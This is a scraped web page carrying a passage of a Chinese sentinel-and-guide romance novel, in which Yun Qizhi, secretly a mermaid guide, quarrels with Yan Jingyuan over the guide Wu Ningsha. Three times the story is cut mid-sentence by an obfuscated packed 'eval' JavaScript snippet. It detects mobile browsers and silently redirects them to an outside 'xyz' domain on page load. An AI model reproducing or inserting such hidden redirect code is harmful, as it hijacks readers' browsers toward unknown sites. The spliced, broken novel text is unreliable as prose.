;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029804|162294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味。 宴景鸢走向云起之。 云起之说道：“有味道。” 宴景鸢脚步顿住，说道：“我去洗洗。” 云起之：“哦。” 云起之的目光注视下，宴景鸢进入浴室，没过多久，里面传来水声。 简单的冲洗过后，宴景鸢赤裸着上身走出浴室，一滴滴的水珠从他的胸腹下落，染湿别在腰下方的浴巾。 云起之的目光始终放在宴景鸢的身上。 宴景鸢笑了笑，他其实很喜欢云起之将目光放在他的身上，这代表着他的眼里全都是他，他也只能看到他。 他享受被云起之重视的感觉。 宴景鸢迈开脚步，走到床沿坐下，为云起之脱下制服外套，眼角余光看到了云起之的手腕。 一双琥珀色的眸子眯起，随手将外套放到一旁，宴景鸢握住云起之的那只手，将袖口向上推，看到的是一圈青紫。 云起之顺着宴景鸢手指的动作看去。 宴景鸢询问：“疼吗？” 云起之：“……疼。” 宴景鸢站起身，翻出柜中的医药箱，为云起之涂抹。 其实哨兵过得很糙，在这一点上宴景鸢也相同，他这里的医药箱是特意为云起之准备。 云起之的皮肤很脆弱，稍微用一点力就会留下痕迹，这也是为什么他平时握住云起之时并不太敢用太大的力气的原因。 明明点入云起之的个人档案，他的体质标为“B”，但在与云起之的接触中，宴景鸢总感觉他就像是冬日用冰雕琢而出的易碎品，只要稍用一些力，就会轻易破碎。 哦。 好吧。 3S级的哨兵只要真正用力，确实能够随随便便捏死人。 宴景鸢眼睫下垂，轻声询问：“谁弄的？” 云起之眼睫低垂，看着宴景鸢小心翼翼的动作，轻声回：“云新止。” 宴景鸢：“他没有教养。” 云起之：“嗯。” 宴景鸢给云起之擦过药，从床沿站起，说道：“我出去一趟。” 云起之抬眸，看向宴景鸢。 宴景鸢一只手捏住云起之的下巴，拇指抚了下云起之的唇瓣，说道：“放心，不是去聚餐。” 云起之：“……哦。” 宴景鸢在云起之的额头上落下一吻，将医药箱收回原位，完全不避讳云起之的目光，扯下腰间的浴巾，三两下穿上衣服就出去了。 听到关门声，云起之知道宴景鸢是去做什么去了。 这事他其实很熟。 云起之打开通讯列表，默默将云新止给拉黑了。 想了想，他又给父亲、母亲设置了消息暂不提示的设置。 宴景鸢是去揍云新止去了。 同住在一个屋檐下，云起之和云新止只有两岁的年龄差，即便不是刻意，偶尔还是会有一些冲突。 如果云柏岚在，云柏岚会揍云新止。 大哥云柏岚不在的时候，很多时候，宴景鸢会通过细节察觉到云起之或许被云新止欺负了，那么…… 没有一次例外，宴景鸢会找上云新止揍一顿。 不过，伴随成长，距离上一次宴景鸢揍云新止已经过了至少半年，今天又要来一场了。 无论是力量，又或者是异能，2S的云新止差了宴景鸢许多，一般来说他会被宴景鸢单方面的毒打。 当然，宴景鸢出手很有分寸。 过去，宴景鸢第一次为云起之出头，揍云新止时，云起之还没有经验。 云新止被揍得鼻青脸肿，他去找姐姐云雪盈。 云雪盈很生气，她打了云起之几巴掌。 宴景鸢得知后更加愤怒，直接进入全兽化，去找云雪盈。 宴景鸢要比云雪盈小四岁。 四岁的年龄差，一方天赋更强，另一方经验足，他们竟也打得势均力敌，然后，他们平等地受伤，一身狼狈。 云雪盈向父母告状。 他们责骂云起之，紧接着，云柏岚收到消息匆匆赶来，护住云起之。 到了现在，这种循环已经走了好几圈。 云起之已经能够熟练地拉黑姐姐和弟弟，屏蔽父母的信息。 在云家，云柏岚是纽带。 如果没有云柏岚，云起之想，他应该会在很早之前离开云家。 住不下去，融入不了。 而现在，他和云雪盈、云新止会彼此拉黑屏蔽，但只要云柏岚在，他就会检查他们的通讯，强行让他们将好友给加回来。 云柏岚会说，他们是家人。 无论发生任何事情，他们都是家人。 他们会一辈子的互相扶持。 很多时候，云起之觉得他受到了哥哥洗脑式的影响，因为…… 直到现在，他仍旧会对家人存有幻想，在需求时，也会下意识向家人求助。 云起之坐在床上发了一会儿呆，站起身，去洗漱。 宴景鸢的宿舍中有许多云起之的个人用品，他的牙刷、睡衣，甚至还有两套替换穿的哨兵制服，甚至是备用铭牌。 进入浴室洗漱后，他打开衣橱拿出睡衣。 原本以为是自己的，结果错拿成了宴景鸢的。 倒也无所谓，虽说不太合身，但属于宴景鸢的睡衣对他来说十分宽松，穿着倒也舒服。 将睡衣套上，躺在床上。 迷迷糊糊间思考着，等宴景鸢回来，他就要提出，让他和他一起参与【洛尔贝涅镇海洋次元境】的任务。 他再也支撑不住，沉沉睡去。 他意识到，他现在睡得越来越久了。 他需要长久的睡眠来维持身体状态，这也是为什么他极端讨厌出任务的原因之一。 想躺平。 想当咸鱼。 想没有任何烦恼地，在大海里面游来荡去。 13. 滴答滴答 云起之感到沉重。 昨夜迷迷糊糊地睡着，再睁开眼睛…… 窗帘遮住窗口，阳光从窗帘的缝隙透入卧室，让他意识到，现在已经是第二天的早上。 二月天色亮得并不算早，通过投过来的光线进行判断，时间应该并不早了。 还有就是…… 有人从他的身后抱住他，将他整个人卷入怀中。 熟悉的气息。 是宴景鸢的气息。 云起之动了动身体，将自己更好的卷在宴景鸢的怀中，戴着终端的左手腕抬起，看向时间。 是早上八点半。 他的动作很轻，却仍旧吵醒了宴景鸢。 才结束任务后回归，宴景鸢需要大量的睡眠进行补充，他将云起之抬起的手压回去，将他整个人卷入怀中，询问：“现在是几点？” 云起之回应：“八点半。” 宴景鸢：“哦，那还可以继续睡。”嘴上这么说着，他双手又动了动，将怀中背对着自己的人翻转过来，正面面对自己。 云起之枕着宴景鸢的手臂，脸贴在他的胸口，看着的位置…… 是他昨天咬的牙印。 云起之在宴景鸢的怀中蠕动，抬眸，看向宴景鸢，愣了下。 宴景鸢的脸上有青紫，很明显，是被揍了一拳。 云起之抬手，触碰宴景鸢被揍了的脸颊，哨兵体质强横，经过一夜脸上的青紫还这么重，很明显，他被打的不轻。 云起之询问：“疼吗？” 宴景鸢：“哦，不疼。” 云起之：“……” 关于这点，就是体质所带来的差异，不过，即便宴景鸢是3S级，云起之想，也不可能完全不疼。 宴景鸢将云起之的手带入怀中，忍了忍，没忍住，他整个人又覆盖在了云起之的身上。 云起之双手环抱住宴景鸢的脖颈，询问：“云新止打的？” 宴景鸢“嗯”了一声，他的头埋在云起之的脖颈，嗅闻着独属于云起之的甜香，这也是令他沉醉的信息，说道：“我打的更狠。” 宴景鸢补充：“为他打出了熊猫眼。”他说，“嗯，是为你复仇。”云起之已经可以脑补云新止的惨状，他又想，云雪盈知道了，肯定会非常生气。 过近的距离，宴景鸢温热的吐息落在云起之脖颈处，让他感到一阵酥麻。 宴景鸢的嘴唇摩挲着云起之脖颈柔软的肌肤。 云起之询问：“你为什么会被打？”他无法理解，毕竟二者的实力差距挺大，而这次，也是宴景鸢第一次被云新止打到。 会有非常偶尔的时候，宴景鸢真的很让云起之感到生气，那个时候他会想宴景鸢也能被狠狠揍一顿就好了…… 作为塔中十二位3S级的哨兵之一，这挺有难度。 没想到今天宴景鸢就被揍了一顿。 宴景鸢落在云起之脖颈处的嘴唇一路向下，嘴里含着东西，他的声音有些含糊，说道：“哦，还好，才结束任务，休眠不够，有些走神。”他说，“所以，我们再睡一觉吧。” 明明嘴上说着要再睡一觉，但通过他的行为判断，他完全没有再睡一觉的意思。 云起之抱着宴景鸢的力气加重，白皙的脸颊一阵潮红，呼吸粗重。 再之后，两人没再说话。 昏昏沉沉中，云起之感觉到的就是宴景鸢的力量。 他将他卷在怀中，他们又一次睡了过去。 再次醒来时，已经是早上十一点。 宴景鸢抱着云起之进入浴室，浴缸中是温热的水。 比起热水，云起之更喜欢冷水。 总的来说，有水又总比没有好。 洗漱过后，宴景鸢为云起之擦拭身上的水迹，手指不经意间触碰云起之的敏感处，让他的身体微微战栗。 宴景鸢喜欢云起之的每一个反应。 心情格外的好，他丢掉手上的浴巾，一只手插入云起之的发丝，在他的额头落下一吻。 云起之推了推宴景鸢。 宴景鸢“哦”了一声，为云起之穿上衣服，一个个的系上衬衣纽扣，系到最上方，又为面前的人套上外套。 这是宴景鸢的个人癖好。 他享受为云起之穿衣，以及为他脱衣的全过程。 对他来说，这是纾解。 早午饭一起吃，还是宴景鸢做的蛋炒饭。 一如既往的难吃。 他们也都习惯了这难吃的料理。 吃过饭，就和过去一样，他们一起打扫过料理台，宴景鸢就让云起之去沙发上休息。 云起之坐在沙发上，目光盯着宴景鸢。 宴景鸢还有许多事情要忙，比如洗衣服、擦地、擦台面，他要做卫生。 宴景鸢走到哪里，云起之就盯到哪里，此时此刻，宴景鸢手上正拿着一堆衣物，其中就有云起之不久前穿在身上的属于宴景鸢的睡衣。 只一个晚上就脏了。 哦。 其中还有云起之的贴身衣物。 需要手洗。 一般来说，他们在一起时都是宴景鸢洗。 像是想到了什么，宴景鸢看向云起之，说道：“起之，昨天我和云新止交流战斗技巧时，他说，你想让他和你一起执行C级次元境任务，明天就要出发，对吗？” 对。 就是这件事。 昨天他入睡前还打算和宴景鸢提一提，结果迷迷糊糊地睡着，然后就到了现在。 时间过得是真快。 宴景鸢说道：“很抱歉，起之，我答应过一个朋友，这次的临时假日我会陪她离塔，大概需要一个星期，我没办法和你一起进入C级次元境。” 云起之皱眉。 宴景鸢又说：“不过，我昨天已经和奈哲尔说过，让他和你一起执行任务。” 云起之：“……” 奈哲尔·格莱斯顿，飞鸢团的副团长之一，与他们同龄，2S级哨兵。 实力很强。 云起之一直都知道，奈哲尔厌恶他，他一直都将他当成宴景鸢的累赘。 不管怎样，以实力来说确实没有问题，最重要的是，云起之即便不喜欢奈哲尔，他也信任奈哲尔。 宴景鸢目光小心翼翼地看着云起之，又说：“如果，你不放心奈哲尔一个人，我可以再多派几位S级的哨兵跟着你一起执行任务。” 云起之摇头。 这倒是不需要。 从某方面来说，云雪盈、云新止说得是对的，让实力强大的哨兵参与C级次元境，这是资源浪费。 不过…… 云起之眯起眼睛看向宴景鸢，询问：“你答应了谁？” 宴景鸢看起来非常的心虚，他抱着怀中衣服的力道下意识加重，说道：“是一个朋友。” 云起之：“哪个朋友？” 顿了下，宴景鸢说道：“你不认识。”避免云起之继续询问，他转移话题，“如果你还是担心，这次的任务可不可以退出？” 云起之果然被转移了话题，他说：“会被驱逐出塔。” 宴景鸢将衣物分类，丢入洗衣机，人走进浴室，手洗贴身衣物，之后又将洗好的衣物丢入烘干机。 迅速将琐碎的家务做好，他坐在了长沙发上。 云起之站起身。 宴景鸢微微偏头，看向云起之。 二人目光对视。 云起之迈开脚步，走向宴景鸢。 宴景鸢伸开双臂，他很喜欢云起之投怀送抱的感觉，这也是他为什么坐在相对云起之比较远的长沙发上的原因。 就比如现在，当他坐在沙发上，云起之就会朝着他靠近，主动投入他的怀抱。 他整个人坐在了他的怀中。 宴景鸢享受与云起之时亲昵的感觉，他一只手抱着云起之，另一只手指轻轻触碰他白色的长发。 长发真的很适合云起之。 说起来，在宴景鸢的记忆中云起之在叛逆期一直顶着光头，当然，他即便是光头，那也是最漂亮的光头。 想起过去，宴景鸢唇角弯起的弧度加深，他双唇微微开启，想询问云起之，他为什么忽然留长发这个问题时，怀中人先一步开口，他说：“我都认识。” 忽然的话语，让宴景鸢有瞬间的茫然，他询问：“……认识，什么？” 云起之的眼睫低垂：“我们一起长大，我知道你身边的所有人，你的家人、朋友，以及，飞鸢团的队友。”他说着，将宴景鸢握着自己一缕发丝的手把玩在手中，他看到了在他手腕上的个人终端。 是新型终端。 齿轮状态的圆盘，屏幕常亮，右下方是数值，它非常直观地表达了此时此刻宴景鸢精神区的状态。 92点。 云起之：“……” 云起之想，昨天艾莉儿向导为宴景鸢疏导时，他的精神稳定值也不过68，如果说，新终端的检测精准的话，那么…… 他想，他是真的很厉害。 或者说，人鱼向导存在的本身就很厉害，毕竟，从昨天到现在，他其实并没有尝试为宴景鸢疏导过。 按照现在这种情况，他要尽可能降低与宴景鸢的接触吗？虽然心中这么想，云起之的身体仍旧很诚实，整个身体放松地倒在宴景鸢的怀中。 云起之思考了下，继续问：“你说要一起离塔的那个人，是向导，对吗？” 宴景鸢：“……” 像是想到什么，云起之眉头皱起，他从背对着宴景鸢的姿势转过身，与他正面对坐，目光对视，询问：“巫凝莎？” 宴景鸢眨巴眨巴眼睛，这件事完全瞒不住，只要有心，一探就会知道。 云起之深吸一口气，说道：“所以，真的是巫凝莎？” 像是安抚一般，宴景鸢一只手拦着云起之的腰，另一只手顺着他的背部，说道：“起之，你先别气，先听我解释。” 云起之“哦”了一声，他说：“好哦，你解释，我听。” 宴景鸢：“……” 一时之间，宴景鸢竟不知道要怎么解释。 室内是洗衣机、烘干机同时转动的声响。 不知过了多久，云起之催促，“你说。” 宴景鸢：“……凝莎她是S级向导。” 云起之：“哦，众所周知。” 这就是事实。 巫凝莎是两年前出现的，他是塔外来的向导，这一类的向导被塔中的人称之为野生向导。 两年前，巫凝莎出现之前，整个塔就只有六位S级向导，她是一场意外。 她的消息传递到塔的那一瞬间，整个塔轰动，到处都是相关她的信息。 她是洛斯帝国的第七位S级向导，而现在，更是被称之为塔内七大A级向导中最厉害的向导。 宴景鸢说道：“起之，先不说凝莎是飞鸢团的副团长，她更是S级向导，只要外出，会很危险，我必须保护她。” 云起之眼皮跳了跳，他意识到了一个微妙的问题。 片刻的停顿后，云起之询问：“……你说，你必须保护她，所以，是你主动的，对吗？” 宴景鸢一时无言。 云起之吐出一口气，说道：“巫凝莎是S级 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029805|162294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向导，只要她离塔，会有一整个哨兵团队保护她。”顿了下，他继续说，“我不知道她要去哪里，但可以肯定的是，她去的地方绝对不是次元境，所以，并不会太危险，但你仍旧主动说要保护她，是吗？” 宴景鸢双手握住云起之的肩膀，“起之，即便不是次元境，S级向导只要外出就有危险。” 云起之声音加大：“塔会为她派出一整个哨兵团队。” 宴景鸢：“不够的，不仅是外界没有编制的哨兵，更有精神值已经进入临界点的哨兵，还有其他国家对S级向导虎视眈眈的哨兵。”他又说，“起之，你不是向导，你没有办法理解她的处境。”他眉头微皱，“她的情况比你想象中的更为艰难。” 云起之：“……宴景鸢，我厌恶她。” 宴景鸢叹息，他感到疲惫，“关于这点你说过很多次，我们昨天也因为她的事情吵过两次，今天你还要吵吗？” 云起之：“在我看来，你是为了陪伴她，所以拒绝与我一起进入次元境。” 宴景鸢：“奈哲尔会和你一同进入次元境，如果你还担心，我可以让团队更多的哨兵加入进去。”他加重语气。 云起之面色非常难看。 宴景鸢太了解云起之了。 很多时候，云起之的心情不好，极端糟糕时就会影射到身体，高热、呕吐，甚至是昏迷。 在这一刻，宴景鸢确实感到了微微的不耐烦，或者说只要提起巫凝莎，都会让他们进入情绪化的状态，他努力克制住情绪，试图安慰云起之，手顺着云起之的背部向下，“起之，我昨天有看过【洛尔贝涅镇海洋次元境】的资料，微污染，无辐射，那里并不会太危险。” 云起之：“……宴景鸢。” 宴景鸢：“……” 云起之说道：“我再一次对你说，我讨厌巫凝莎，你拒绝她，我不允许你和她一起出塔。” 宴景鸢果断拒绝：“不行。” 云起之：“……” 他们一起相处的日常之中，宴景鸢几乎对云起之百依百顺。 过去到现在，宴景鸢第一次拒绝云起之是戒烟，然后，就是巫凝莎。 他因为巫凝莎拒绝他，并不是一两次，事实上这两年来他们吵架基本都围绕着巫凝莎。 情绪反射到身躯，云起之感觉大脑隐隐作痛，他的额头冒出细细密密的汗珠。 宴景鸢轻声叹息，用衣袖擦拭云起之额头上的汗水，说道：“你应该放下对凝莎的偏见。” 云起之拍开宴景鸢的手，朝外走。 宴景鸢立刻站起身，跟过去，拉住云起之的手腕，但他用的力道并不重，他担心像云新止一样弄伤他的手腕。 云起之稍微用力挣脱宴景鸢的手，走到门前。 宴景鸢跟过去。 云起之的手握住门把手，他并没有回头看向宴景鸢，头微垂，他说道：“宴景鸢，对你来说，我算什么？” 这题宴景鸢会。 宴景鸢立刻回答：“你是我最好的朋友！” 宴景鸢加重语气：“是一辈子的朋友！” 云起之：“……” 云起之看向宴景鸢。 云起之的眼睛是蓝色。 室外的阳光撒入室内，光影反射，落在云起之的脸上，面色苍白，一双湛蓝色的眼眸闪烁着荧光，光影下看起来比宝石还要璀璨，像是天地间最美的珠宝。 宴景鸢有些紧张，他觉得自己的回答无懈可击。 “……”片刻的停顿后，云起之咬了咬嘴唇，回应：“哦。”他将门推开，他说，“宴景鸢，你不要跟出来。” 云起之迈开脚步，走出去。 宴景鸢很茫然。 云起之将门关上，一扇门，将他们阻隔在不同的区域。 云起之的背靠在门上，泪水顺着脸颊落下。 滴答滴答。 坠泪为珠。 云起之愣了下，他立刻转过身，一滴滴的泪水仍旧从眼眶而出，每一滴眼泪从眼眶中坠落后又化为一颗颗的珍珠。 他深呼吸，努力控制泪水。 在这个地方，不能哭。 至少不能让眼泪化为珠。 他想将落在手上的人鱼之泪收起来，但，很多时候情绪很难控制住，好几颗眼泪坠落在地上，发出滴答滴答的声响。 他想，幸好现在走廊上并没有人。 他弯腰，将一颗颗的眼泪捡起来。 阳光的折射下，人鱼之泪看起来无比的漂亮，晶莹剔透，散发着璀璨的光芒。 人鱼之泪无比珍贵，每一颗价值连城，但是…… 这代表的是，他情绪的剧烈起伏。 在他的记忆中，自从分化为人鱼后，他从来没有过喜悦的情绪。 每一颗的人鱼之泪都代表着他的悲伤。 忽地，门开启的声音响起。 到现在，云起之已经停止了哭泣，但因为哭过，他的眼眶有些红，他抬眸看过去。 哦。 又是熟人。 是奈哲尔。 二人的目光对视。 奈哲尔蹲下身，捡起地上的一颗人鱼之泪，说道：“这是你的吗？” 云起之看过去，没有回答。 奈哲尔走到云起之面前，将手上的一颗人鱼之泪交到云起之的面前。 “……”云起之接过，说道：“谢谢。” 奈哲尔：“哦，不用谢。” 云起之的目光四处扫了眼，他并不知道自己哭出了几颗人鱼之泪，但一眼扫过去，在这空空荡荡的走廊上并没有看到其他的人鱼之泪。 14.宴景鸢在说谎 云起之又检查了一遍，确认没看到丢失的人鱼之泪，走向电梯。 他能够感觉得到奈哲尔注视的目光。 他走到电梯前，按键。 脚步声响起。 是奈哲尔的脚步声。 云起之回头，看向奈哲尔。 奈哲尔朝着宴景鸢宿舍所在的方向看了眼，走到云起之的面前，看起来就是有话要说。 云起之有预感，一般这种情况下说出来的话基本都不会是什么好听话，所以他希望奈哲尔能够保持安静。 但奈哲尔还是开口了，他说道：“那是宝石吗？” 云起之愣了下，意识到奈哲尔说得是人鱼之泪。 奈哲尔：“是景鸢送你的？” 云起之还是沉默。 奈哲尔：“倒也不意外，你喜欢收集这些华而不实的东西。” 云起之：“……” 哦。 很好。 通过奈哲尔的这一段话，云起之想，他并没有认出那是人鱼之泪。 其实也正常。 最后一位人鱼向导出现已经是六个世纪之前的事，每一颗人鱼之泪无比珍贵，正常来说极少有人见过人鱼之泪，奈哲尔认不出来也是正常。 奈哲尔说道：“如果是你喜欢的东西，景鸢都会为你买。” 云起之觉得他应该回应奈哲尔。 塔中不少人说云副官家那个只有一张脸可以看的次子云起之性格不好，就是因为他对人冷漠，经常有人对他说话，他不搭理。 其实也不是不回应，只是更多的时候，他不知道要怎么回应。 云起之回应：“哦。” 白发白肤，云起之给人的气质像是冬日的雪，夜晚的月，清冷，没有温度，他简简单单的回应从某方面来说还不如不回应，当然，他本人并没有这种自觉。 云起之的人生中，并没有人教他人情世故。 奈哲尔：“……” 奈哲尔沉默了下，继续说道：“你不认为，你一直在压榨景鸢吗？” 云起之微微偏头：“不觉得。”他回答得理所当然，一双湛蓝的眼眸中是迷惑，“我不懂你为什么会这么认为。”他看起来非常的纯真。 奈哲尔皱眉：“……你的脸皮，很厚。” 云起之想，他的预感果然没错，奈哲尔现在就在说他不太愿意听的话。 虽然但是，考虑到不久前奈哲尔将一颗人鱼之泪捡起来送到他的面前，他觉得他还是要回应一下，当然，更重要的一点是，明天他们会一起执行【洛尔贝涅镇海洋次元境】的任务。 云起之觉得，他必须回应奈哲尔，哪怕他不喜欢他，“哦。” 奈哲尔：“……”果然是好厚的脸皮。 奈哲尔继续说道：“你知道你浪费了景鸢多少的资源吗？” 仍旧很想沉默的云起之心中默念奈哲尔是两天后将要一起执行任务的队友，回应：“哦。” “……”奈哲尔深吸一口气：“你应该知道，我们作为哨兵，我们的人生准则就是保护向导。” 云起之：“……哦。” 奈哲尔：“昨天晚上，凝莎要回家乡，她是我们帝国七位S级的向导之一，更是我们飞鸢团的成员，理论上我应该同行，但是因为你！” 云起之眼睛瞪大，一双湛蓝的眸子直直地看向奈哲尔。 而这个时候，电梯已经下降。 云起之并没有进入电梯，目光仍旧直直地看着奈哲尔，从他的这一句话中他敏锐地察觉到了哪里不对。 奈哲尔被云起之目光直勾勾地注视，必需要说，他真的不喜欢云起之，并且对他充满了偏见，尤其是两年前开始，他对云起之的厌恶达到了顶点，但即便如此，他也不得不承认，面前这个人拥有极端的美貌，尤其是在他留长发后，塔内更多的人被他的外貌所迷惑。 奈哲尔想，这个人果然有毒。 剧毒。 云起之说道：“奈哲尔·格莱斯顿哨兵，你的意思是，昨天夜晚，巫凝莎向导说要出塔，你的原计划是想要跟随，但被宴景鸢哨兵所拒绝，”微微停顿一下，他询问，“因为我，为了让你带我执行C级次元境任务，对吗？” 奈哲尔：“是。” 奈哲尔并不觉得这有哪里不对，他继续说：“如果不是因为凝莎向导要出塔，那么，作为3S级哨兵的景鸢甚至打算陪伴你执行C级次元境的任务。”他看着云起之的目光有着厌恶，“这就是最大的资源浪费。” 云起之：“……” 云起之感觉眼眶在发热。 心口在收缩。 不能哭。 不能在奈哲尔面前哭。 他并不知道，他的面色在瞬间苍白，细细密密的汗珠布满额头，汗湿哨兵制服内的衬衣，整个人增添一抹破碎感。 奈哲尔原本还想继续指责云起之，但看他现在这种模样，默默闭上嘴。 面前的电梯门已经关上了。 云起之深呼吸，继续按电梯键。 隔壁的电梯门打开，云起之大跨步走去。 奈哲尔这次找云起之，是想让他有些自知之明，不要凭借和宴景鸢的关系乱用资源，主要是，他想让云起之主动对宴景鸢说，他并不需要他一起执行任务。 比起和云起之一起进入C级次元境，奈哲尔更想保护巫凝莎。 看云起之现在的模样，他感觉他与云起之进行了一场无异议的交谈。 而此时，云起之已经进入电梯，他现在的心情非常糟糕。 他意识到了两点。 第一点，宴景鸢在说谎。 时间线上的谎言。 比起巫凝莎的离塔计划，宴景鸢最先知道的是他将要进入C级次元境。 宴景鸢说得并没有错，C级次元境是一个很简单的次元境，如果没什么意外，三位A级哨兵带队已经足够，完全不需要3S级的哨兵带队。 理论上是这样，但是…… 现实就不是理论。 从十八岁成年后，云起之参与过许多次次元境的任务，毕竟是塔所下的强制性任务。 其中绝大多数的任务确实过起来很简单，但，以概率来说，只要他进入的次元境，就很容易遭遇到危险，这也是他一定想让至少S级的哨兵一同进入次元境的原因之一。 以概率来说，云起之的运气不太好，总是凶险万分。 这就是第二点。 在他和巫凝莎之间，宴景鸢明确地选择了巫凝莎。 电梯很快抵达148层。 电梯门开启，云起之走出电梯，隐隐约约之间，他感觉，他看到了一个巨大的沙漏。 沙漏中的细沙像是瀑布流水，正以极快的速度向下落。 直到目前为止，沙漏上方的沙更多，但，过不久，在重力的牵引下，细沙终是会全部落于下方，这就好像是…… 他与宴景鸢之间最后的缘分。 他的人已经走出电梯，眼眶一片红，深吸一口气，他强行控制住泪水，回到家。 哦。 家里的情况也不太好。 沙发上坐着两个人，姐姐云雪盈，弟弟云新止。 云新止的状态非常不好，两只眼圈发青发紫，除了两个黑眼圈外，他的左边嘴角青紫，此时此刻他目光凶残地朝着云起之看过来。 云起之想，只是脸，云新止的情况就已经这么糟糕了，不知道衣服下面的情况又会多么糟糕？ 看起来好惨的弟弟。 看着二人凶残的目光，有那么一瞬间，云起之想向后退，先避一避，但现在不行，他现在需要回到房间缓解情绪。 在沙发上二人试图找他吵架之前，云起之说道：“我现在不想和你们吵架，如果你们一定要吵我，我就去找宴景鸢。” 二人看着云起之的目光更凶了。 云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15030347|162294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起之继续补刀：“你们打不赢宴景鸢。” 二人：“……” 二人刀人的目光注视下，云起之加快脚步，回到房间，将门锁上。 一般情况下云起之几乎不会锁房间的门，其实也没有必要，并不会有人进入他的房间。 当然，今天这种情况肯定要锁上。 他担心姐姐和弟弟会闯入他的房间揍他。 他整个人倒在床上，手臂瘫开，眼睛闭上，脑海中都是与宴景鸢的点点滴滴。 他感觉心有些麻。 两年。 哪怕无知，“有病”带来的起因，他也明白，他和宴景鸢的相处模式非常微妙，他想…… 再过不久，他们持续两年的相处模式大概会结束。 或许是宴景鸢说，他有了喜欢的人，将要共度一生的人。 有很大的概率，这个人或许是巫凝莎。 还有一种可能…… 一次次的失望之中，他先放下贪欲。 他帮助沙漏，让细沙以更快的方式向下坠落，斩断与宴景鸢持续到现在的缘分。 甚至…… 可以敲碎沙漏。 他睁开眼睛，看向天花板。 在这一刻，他感觉，他的目光直直穿透了天花板，看向了顶层。 那个地方，是属于人鱼向导的全封闭区域。 据云起之查看到的资料，或许…… 包括2S级的简宛儿执政官在内，在绝大多数的情况下，她能够离塔，但…… 无论是他们国家的人鱼向导，又或者是出现于其他国家的人鱼向导，他们是帝国瑰宝，所以，他们几乎没有自由可言。 云起之从床上坐起。 眼前一黑，大脑有瞬间的晕眩，失重的身体重新倒在床上，他缓了几分钟，一只手按揉太阳穴，双眸看向散落在床上的人鱼之泪。 不久前被他收在衣服口袋中的人鱼之泪掉出来了。 他现在的反应有些迟钝。 慢半拍地数了数人鱼之泪，竟有足足28颗。 明明已经控制哭泣了。 他打开抽屉，将28颗人鱼之泪收入玻璃罐，放回抽屉。 他有些恍惚地想，他真能哭，还是真心实感地哭。 他想，继续和宴景鸢在一起，过不久，他或许能够哭成洛斯帝国的首富也不一定。 好吧。 人鱼之泪确实珍贵，不过，倒也不至于如此的珍贵。 他脱下外套。 里面的衬衣已经全部被汗湿，但凡不是客厅还有云雪盈、云新止姐弟，他会想进入浴室，将自己浸泡于水中。 他需要水。 手指轻轻在空气中轻点，一滴滴的液体出现在手中，又轻轻点了下，所有的液体在瞬间消失。 现在这种情况下最好还是不要使用分化为人鱼向导后所带来的控水能力为好。 云起之脱掉衬衣，从衣柜中拿出新的衬衣穿上。 一只飞鸟从窗外飞过去。 云起之手上的动作顿住，又继续系上衣扣，走到窗边，看向窗外。 湛蓝的天空。 真好看。 他想，从某方面来说，像现在这样或许也还算不错，他能够去C级次元境，可以出入塔内的任何地方，除此之外，只要他想，在非任务期他也可以去他想去的任何地方。 哦，说起来，出生到现在，他从来没有正经地去过塔外的世界。 次元境不算。 如果大家知道他是人鱼向导，他以后肯定没办法去。 所以说，现在，他应该过好当下，因为以后…… 他或许一辈子都没办法过现在这种生活了。 以后…… 或许，也一辈子都见不到宴景鸢了。 他目光仍旧看着窗外，恍惚地想，如果，真到了这一步，那似乎也没什么不好的。 吧。 15.出塔 【洛尔贝涅镇海洋次元境】任务组群聊信息频繁震动。 未读999+ 云起之点开群聊信息。 大概在昨天晚上十一点左右，奈哲尔·格莱斯顿主动向塔发出请求，加入本次C级次元境任务。 当然，奈哲尔本人肯定不愿意，但这是宴景鸢的要求，在是朋友的同时，宴景鸢也是飞鸢团的团长，团队成员需服从团长指令。 即便不甘愿，奈哲尔也只能同意。 事实上，这并不是奈哲尔第一次带云起之，过去也有过类似的事情。 塔通过奈哲尔的任务申请后，他就被系统带入了任务群组。 因为奈哲尔是以后援的方式加入的团队，他虽说是2S级的哨兵，但他并没有获取到本次任务的指挥权。 一位主指挥，两位副指挥，仍旧是原定的三位A级哨兵。 关于这点，别说奈哲尔，即便是罗素执政官本人以后援的方式加入，按照任务系统规则，他也没有指挥权。 但也无所谓，虽说没有指挥权，但只要高等级哨兵开口，普遍团队均会服从。 慕强是本能，就比如围绕着塔的12位3S级哨兵，1位2S级，7位S级向导的人有很多。 云起之向下拉动群聊，看到了一行行的互动信息。 那是来自外塔的C级哨兵的发言。 